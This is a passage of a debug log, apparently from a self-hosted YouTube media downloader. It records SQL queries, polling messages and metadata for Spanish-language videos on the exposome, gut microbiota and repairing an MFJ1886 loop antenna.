WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1433] 22:52:44.631 [debug] Current batch of media processed. Will check again in 1000ms 22:52:45.538 [debug] Current batch of media processed. Will check again in 1000ms 22:52:45.631 [debug] Current batch of media processed. Will check again in 1000ms 22:52:46.539 [debug] Current batch of media processed. Will check again in 1000ms 22:52:46.632 [debug] Current batch of media processed. Will check again in 1000ms 22:52:47.540 [debug] Current batch of media processed. Will check again in 1000ms 22:52:47.633 [debug] Current batch of media processed. Will check again in 1000ms 22:52:48.541 [debug] Current batch of media processed. Will check again in 1000ms 22:52:48.634 [debug] Current batch of media processed. Will check again in 1000ms 22:52:49.542 [debug] Current batch of media processed. Will check again in 1000ms 22:52:49.635 [debug] Current batch of media processed. Will check again in 1000ms 22:52:50.543 [debug] Current batch of media processed. Will check again in 1000ms 22:52:50.636 [debug] Current batch of media processed. Will check again in 1000ms 22:52:51.289 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:51.544 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 7: EXPOSOMA:Descubre por qué el exposoma es crucial para una vida larga y plena. Exploramos cómo factores ambientales impactan la mortalidad según la OMS y Nature. ¡Aprende a añadir nuevos capítulos emocionantes a tu vida entendiendo el exposoma! #Exposoma #Salud #Bienestar #Longevidad #Exposoma #SaludAmbiental #VidaPlena #Longevidad #Bienestar #FactoresAmbientales #OMS #Nature #CalidadDeVida #CuidadoPersonal", "duration" => 58, "filename" => "/downloads/music/IA mí QUÉ/¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯.m4a", "id" => "W1tJxFJYMd0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/W1tJxFJYMd0", "playlist_index" => 11, "timestamp" => 1747842883, "title" => "¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯", "upload_date" => "20250521"} 22:52:51.545 [debug] QUERY OK source="sources" db=0.6ms idle=1773.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:52:51.546 [debug] QUERY OK source="sources" db=0.4ms idle=1774.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:52:51.547 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1774.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 15:54:43Z], 2] 22:52:51.549 [debug] QUERY OK source="media_items" db=1.0ms idle=997.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 7: EXPOSOMA:Descubre por qué el exposoma es crucial para una vida larga y plena. Exploramos cómo factores ambientales impactan la mortalidad según la OMS y Nature. ¡Aprende a añadir nuevos capítulos emocionantes a tu vida entendiendo el exposoma! #Exposoma #Salud #Bienestar #Longevidad #Exposoma #SaludAmbiental #VidaPlena #Longevidad #Bienestar #FactoresAmbientales #OMS #Nature #CalidadDeVida #CuidadoPersonal", "¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯", "e2689fb9-25b4-4640-b8f6-65959036cb0f", 58, false, "W1tJxFJYMd0", "https://www.youtube.com/shorts/W1tJxFJYMd0", 11, "/downloads/music/IA mí QUÉ/¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯.m4a", false, false, true, 2, [], 94, ~U[2025-05-21 15:54:43Z], ~U[2026-02-07 21:52:51Z], ~U[2026-02-07 21:52:51Z], "PARTE 7: EXPOSOMA:Descubre por qué el exposoma es crucial para una vida larga y plena. Exploramos cómo factores ambientales impactan la mortalidad según la OMS y Nature. ¡Aprende a añadir nuevos capítulos emocionantes a tu vida entendiendo el exposoma! #Exposoma #Salud #Bienestar #Longevidad #Exposoma #SaludAmbiental #VidaPlena #Longevidad #Bienestar #FactoresAmbientales #OMS #Nature #CalidadDeVida #CuidadoPersonal", "¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯", 58, false, "W1tJxFJYMd0", "https://www.youtube.com/shorts/W1tJxFJYMd0", "/downloads/music/IA mí QUÉ/¿Vivir MÁS? ¡El Exposoma decide tu destino! 🤯.m4a", true, 2, ~U[2025-05-21 15:54:43Z]] 22:52:51.549 [debug] QUERY OK source="sources" db=0.4ms idle=259.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:52:51.550 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:52:51.551 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1385] 22:52:51.551 [debug] Current batch of media processed. Will check again in 1000ms 22:52:51.637 [debug] Current batch of media processed. Will check again in 1000ms 22:52:52.552 [debug] Current batch of media processed. Will check again in 1000ms 22:52:52.638 [debug] Current batch of media processed. Will check again in 1000ms 22:52:53.553 [debug] Current batch of media processed. Will check again in 1000ms 22:52:53.639 [debug] Current batch of media processed. Will check again in 1000ms 22:52:54.554 [debug] Current batch of media processed. Will check again in 1000ms 22:52:54.640 [debug] Current batch of media processed. Will check again in 1000ms 22:52:55.555 [debug] Current batch of media processed. Will check again in 1000ms 22:52:55.641 [debug] Current batch of media processed. Will check again in 1000ms 22:52:56.556 [debug] Current batch of media processed. Will check again in 1000ms 22:52:56.642 [debug] Current batch of media processed. Will check again in 1000ms 22:52:57.557 [debug] Current batch of media processed. Will check again in 1000ms 22:52:57.643 [debug] Current batch of media processed. Will check again in 1000ms 22:52:58.558 [debug] Current batch of media processed. Will check again in 1000ms 22:52:58.644 [debug] Current batch of media processed. Will check again in 1000ms 22:52:59.559 [debug] Current batch of media processed. Will check again in 1000ms 22:52:59.645 [debug] Current batch of media processed. Will check again in 1000ms 22:53:00.135 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:00.560 [debug] Current batch of media processed. Will check again in 1000ms 22:53:00.646 [debug] Current batch of media processed. Will check again in 1000ms 22:53:01.561 [debug] Current batch of media processed. Will check again in 1000ms 22:53:01.647 [debug] Current batch of media processed. Will check again in 1000ms 22:53:02.562 [debug] Current batch of media processed. Will check again in 1000ms 22:53:02.648 [debug] Current batch of media processed. Will check again in 1000ms 22:53:03.563 [debug] Current batch of media processed. Will check again in 1000ms 22:53:03.649 [debug] Current batch of media processed. Will check again in 1000ms 22:53:04.564 [debug] Current batch of media processed. Will check again in 1000ms 22:53:04.650 [debug] Current batch of media processed. Will check again in 1000ms 22:53:05.565 [debug] Current batch of media processed. Will check again in 1000ms 22:53:05.651 [debug] Current batch of media processed. Will check again in 1000ms 22:53:06.566 [debug] Current batch of media processed. Will check again in 1000ms 22:53:06.652 [debug] Current batch of media processed. Will check again in 1000ms 22:53:07.567 [debug] Current batch of media processed. Will check again in 1000ms 22:53:07.653 [debug] Current batch of media processed. Will check again in 1000ms 22:53:08.568 [debug] Current batch of media processed. Will check again in 1000ms 22:53:08.654 [debug] Current batch of media processed. Will check again in 1000ms 22:53:09.569 [debug] Current batch of media processed. Will check again in 1000ms 22:53:09.655 [debug] Current batch of media processed. Will check again in 1000ms 22:53:10.570 [debug] Current batch of media processed. Will check again in 1000ms 22:53:10.656 [debug] Current batch of media processed. Will check again in 1000ms 22:53:11.571 [debug] Current batch of media processed. Will check again in 1000ms 22:53:11.657 [debug] Current batch of media processed. Will check again in 1000ms 22:53:12.572 [debug] Current batch of media processed. Will check again in 1000ms 22:53:12.658 [debug] Current batch of media processed. Will check again in 1000ms 22:53:13.573 [debug] Current batch of media processed. Will check again in 1000ms 22:53:13.659 [debug] Current batch of media processed. Will check again in 1000ms 22:53:14.574 [debug] Current batch of media processed. Will check again in 1000ms 22:53:14.660 [debug] Current batch of media processed. Will check again in 1000ms 22:53:15.575 [debug] Current batch of media processed. Will check again in 1000ms 22:53:15.661 [debug] Current batch of media processed. Will check again in 1000ms 22:53:16.576 [debug] Current batch of media processed. Will check again in 1000ms 22:53:16.662 [debug] Current batch of media processed. Will check again in 1000ms 22:53:17.577 [debug] Current batch of media processed. Will check again in 1000ms 22:53:17.663 [debug] Current batch of media processed. Will check again in 1000ms 22:53:18.578 [debug] Current batch of media processed. Will check again in 1000ms 22:53:18.664 [debug] Current batch of media processed. Will check again in 1000ms 22:53:19.579 [debug] Current batch of media processed. Will check again in 1000ms 22:53:19.665 [debug] Current batch of media processed. Will check again in 1000ms 22:53:20.580 [debug] Current batch of media processed. Will check again in 1000ms 22:53:20.666 [debug] Current batch of media processed. Will check again in 1000ms 22:53:21.290 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:21.581 [debug] Current batch of media processed. Will check again in 1000ms 22:53:21.667 [debug] Current batch of media processed. Will check again in 1000ms 22:53:22.582 [debug] Current batch of media processed. Will check again in 1000ms 22:53:22.668 [debug] Current batch of media processed. Will check again in 1000ms 22:53:23.583 [debug] Current batch of media processed. Will check again in 1000ms 22:53:23.669 [debug] Current batch of media processed. Will check again in 1000ms 22:53:24.584 [debug] Current batch of media processed. Will check again in 1000ms 22:53:24.670 [debug] Current batch of media processed. Will check again in 1000ms 22:53:25.585 [debug] Current batch of media processed. Will check again in 1000ms 22:53:25.671 [debug] Current batch of media processed. Will check again in 1000ms 22:53:26.586 [debug] Current batch of media processed. Will check again in 1000ms 22:53:26.672 [debug] Current batch of media processed. Will check again in 1000ms 22:53:27.587 [debug] Current batch of media processed. Will check again in 1000ms 22:53:27.673 [debug] Current batch of media processed. Will check again in 1000ms 22:53:28.588 [debug] Current batch of media processed. Will check again in 1000ms 22:53:28.674 [debug] Current batch of media processed. Will check again in 1000ms 22:53:29.589 [debug] Current batch of media processed. Will check again in 1000ms 22:53:29.675 [debug] Current batch of media processed. Will check again in 1000ms 22:53:30.590 [debug] Current batch of media processed. Will check again in 1000ms 22:53:30.676 [debug] Current batch of media processed. Will check again in 1000ms 22:53:31.591 [debug] Current batch of media processed. Will check again in 1000ms 22:53:31.677 [debug] Current batch of media processed. Will check again in 1000ms 22:53:32.592 [debug] Current batch of media processed. Will check again in 1000ms 22:53:32.678 [debug] Current batch of media processed. Will check again in 1000ms 22:53:33.593 [debug] Current batch of media processed. Will check again in 1000ms 22:53:33.679 [debug] Current batch of media processed. Will check again in 1000ms 22:53:34.595 [debug] Current batch of media processed. Will check again in 1000ms 22:53:34.680 [debug] Current batch of media processed. Will check again in 1000ms 22:53:35.595 [debug] Current batch of media processed. Will check again in 1000ms 22:53:35.681 [debug] Current batch of media processed. Will check again in 1000ms 22:53:36.596 [debug] Current batch of media processed. Will check again in 1000ms 22:53:36.682 [debug] Current batch of media processed. Will check again in 1000ms 22:53:37.597 [debug] Current batch of media processed. Will check again in 1000ms 22:53:37.683 [debug] Current batch of media processed. Will check again in 1000ms 22:53:38.598 [debug] Current batch of media processed. Will check again in 1000ms 22:53:38.687 [debug] Current batch of media processed. Will check again in 1000ms 22:53:39.599 [debug] Current batch of media processed. Will check again in 1000ms 22:53:39.688 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy vamos a ver una antena de aro MFJ1886 (antena de solo recepción, aunque tiene un switch para tener una antena de transmisión secundaria) que falló por haber transmitido en ella inadvertidamente. Veremos la fase de diagnostico y la reparación paso a paso. Espero os resulte interesante.\n\nContenido del video\n\n00:00 - Inicio\n00:56 - Intro canal\n01:15 - Como funciona la MFJ1886\n02:20 - Unidad Bias-T\n05:41 - Modulo preamplificador\n11:11 - Vuelta al BIAS-T y reparación\n12:22 - Cambiando los GALI-74+\n15:59 - Primera prueba\n18:32 - Reparación concluída\n\n#mfj #mfj1886 #radioaficionados #hamradio #gali-74 #antena #aro #diyelectronics #repairing \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1353, "filename" => "/downloads/music/ea3grn/114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR.m4a", "id" => "8GGeONJ604A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=8GGeONJ604A", "playlist_index" => 67, "timestamp" => 1690472862, "title" => "114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR", "upload_date" => "20230727"} 22:53:39.689 [debug] QUERY OK source="sources" db=0.7ms idle=913.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:53:39.690 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=915.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:53:39.691 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=916.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 15:47:42Z], 3] 22:53:39.694 [debug] QUERY OK source="media_items" db=1.3ms idle=918.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy vamos a ver una antena de aro MFJ1886 (antena de solo recepción, aunque tiene un switch para tener una antena de transmisión secundaria) que falló por haber transmitido en ella inadvertidamente. Veremos la fase de diagnostico y la reparación paso a paso. Espero os resulte interesante.\n\nContenido del video\n\n00:00 - Inicio\n00:56 - Intro canal\n01:15 - Como funciona la MFJ1886\n02:20 - Unidad Bias-T\n05:41 - Modulo preamplificador\n11:11 - Vuelta al BIAS-T y reparación\n12:22 - Cambiando los GALI-74+\n15:59 - Primera prueba\n18:32 - Reparación concluída\n\n#mfj #mfj1886 #radioaficionados #hamradio #gali-74 #antena #aro #diyelectronics #repairing \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR", "fc0bc926-6f45-4267-ac41-3031c0b80f68", 1353, false, "8GGeONJ604A", "https://www.youtube.com/watch?v=8GGeONJ604A", 67, "/downloads/music/ea3grn/114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR.m4a", false, false, false, 3, [], 98, ~U[2023-07-27 15:47:42Z], ~U[2026-02-07 21:53:39Z], ~U[2026-02-07 21:53:39Z], "Hoy vamos a ver una antena de aro MFJ1886 (antena de solo recepción, aunque tiene un switch para tener una antena de transmisión secundaria) que falló por haber transmitido en ella inadvertidamente. Veremos la fase de diagnostico y la reparación paso a paso. Espero os resulte interesante.\n\nContenido del video\n\n00:00 - Inicio\n00:56 - Intro canal\n01:15 - Como funciona la MFJ1886\n02:20 - Unidad Bias-T\n05:41 - Modulo preamplificador\n11:11 - Vuelta al BIAS-T y reparación\n12:22 - Cambiando los GALI-74+\n15:59 - Primera prueba\n18:32 - Reparación concluída\n\n#mfj #mfj1886 #radioaficionados #hamradio #gali-74 #antena #aro #diyelectronics #repairing \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR", 1353, false, "8GGeONJ604A", "https://www.youtube.com/watch?v=8GGeONJ604A", "/downloads/music/ea3grn/114 - REPARANDO ANTENA ARO MFJ1886 AVERIADA POR TRANSMITIR.m4a", false, 3, ~U[2023-07-27 15:47:42Z]] 22:53:39.695 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=54.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:53:39.696 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:39.697 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1435] 22:53:39.697 [debug] Current batch of media processed. Will check again in 1000ms 22:53:40.600 [debug] Current batch of media processed. Will check again in 1000ms 22:53:40.697 [debug] Current batch of media processed. Will check again in 1000ms 22:53:41.601 [debug] Current batch of media processed. Will check again in 1000ms 22:53:41.698 [debug] Current batch of media processed. Will check again in 1000ms 22:53:42.602 [debug] Current batch of media processed. Will check again in 1000ms 22:53:42.699 [debug] Current batch of media processed. Will check again in 1000ms 22:53:43.603 [debug] Current batch of media processed. Will check again in 1000ms 22:53:43.700 [debug] Current batch of media processed. Will check again in 1000ms 22:53:44.604 [debug] Current batch of media processed. Will check again in 1000ms 22:53:44.701 [debug] Current batch of media processed. Will check again in 1000ms 22:53:45.605 [debug] Current batch of media processed. Will check again in 1000ms 22:53:45.702 [debug] Current batch of media processed. Will check again in 1000ms 22:53:46.606 [debug] Current batch of media processed. Will check again in 1000ms 22:53:46.703 [debug] Current batch of media processed. Will check again in 1000ms 22:53:47.607 [debug] Current batch of media processed. Will check again in 1000ms 22:53:47.704 [debug] Current batch of media processed. Will check again in 1000ms 22:53:48.608 [debug] Current batch of media processed. Will check again in 1000ms 22:53:48.705 [debug] Current batch of media processed. Will check again in 1000ms 22:53:49.609 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 6: EXPOSOMA:Exploramos el fascinante mundo de la microbiota y su modulación a través de la dieta y la medicación. ¡Descubre cómo estos 'bichitos' impactan en nuestra salud y cómo podemos influir en ellos! Próximamente, profundizaremos en este tema crucial. #Microbiota #SaludIntestinal #Microbiota #SaludIntestinal #ExposomaInterno #ModulacionMicrobiota #DietaSaludable #MedicinaNatural #Bienestar #Salud #CuerpoHumano #BacteriasBeneficiosas", "duration" => 42, "filename" => "/downloads/music/IA mí QUÉ/¿Microbiota Controla Tu Salud? ¡Descubre el Secreto en tu Interior!.m4a", "id" => "FQQhfZNnnAU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/FQQhfZNnnAU", "playlist_index" => 12, "timestamp" => 1747836217, "title" => "¿Microbiota Controla Tu Salud? ¡Descubre el Secreto en tu Interior!", "upload_date" => "20250521"} 22:53:49.610 [debug] QUERY OK source="sources" db=0.6ms idle=952.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:53:49.611 [debug] QUERY OK source="sources" db=0.4ms idle=836.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:53:49.612 [debug] QUERY OK source="media_items" db=0.6ms idle=836.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 14:03:37Z], 2] 22:53:49.613 [debug] QUERY OK source="media_items" db=0.9ms idle=837.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 6: EXPOSOMA:Exploramos el fascinante mundo de la microbiota y su modulación a través de la dieta y la medicación. ¡Descubre cómo estos 'bichitos' impactan en nuestra salud y cómo podemos influir en ellos! Próximamente, profundizaremos en este tema crucial. #Microbiota #SaludIntestinal #Microbiota #SaludIntestinal #ExposomaInterno #ModulacionMicrobiota #DietaSaludable #MedicinaNatural #Bienestar #Salud #CuerpoHumano #BacteriasBeneficiosas", "¿Microbiota Controla Tu Salud? ¡Descubre el Secreto en tu Interior!", "7800c61c-b001-4bf3-84c6-4bebd02b97cf", 42, false, "FQQhfZNnnAU", "https://www.youtube.com/shorts/FQQhfZNnnAU", 12, "/downloads/music/IA mí QUÉ/¿Microbiota 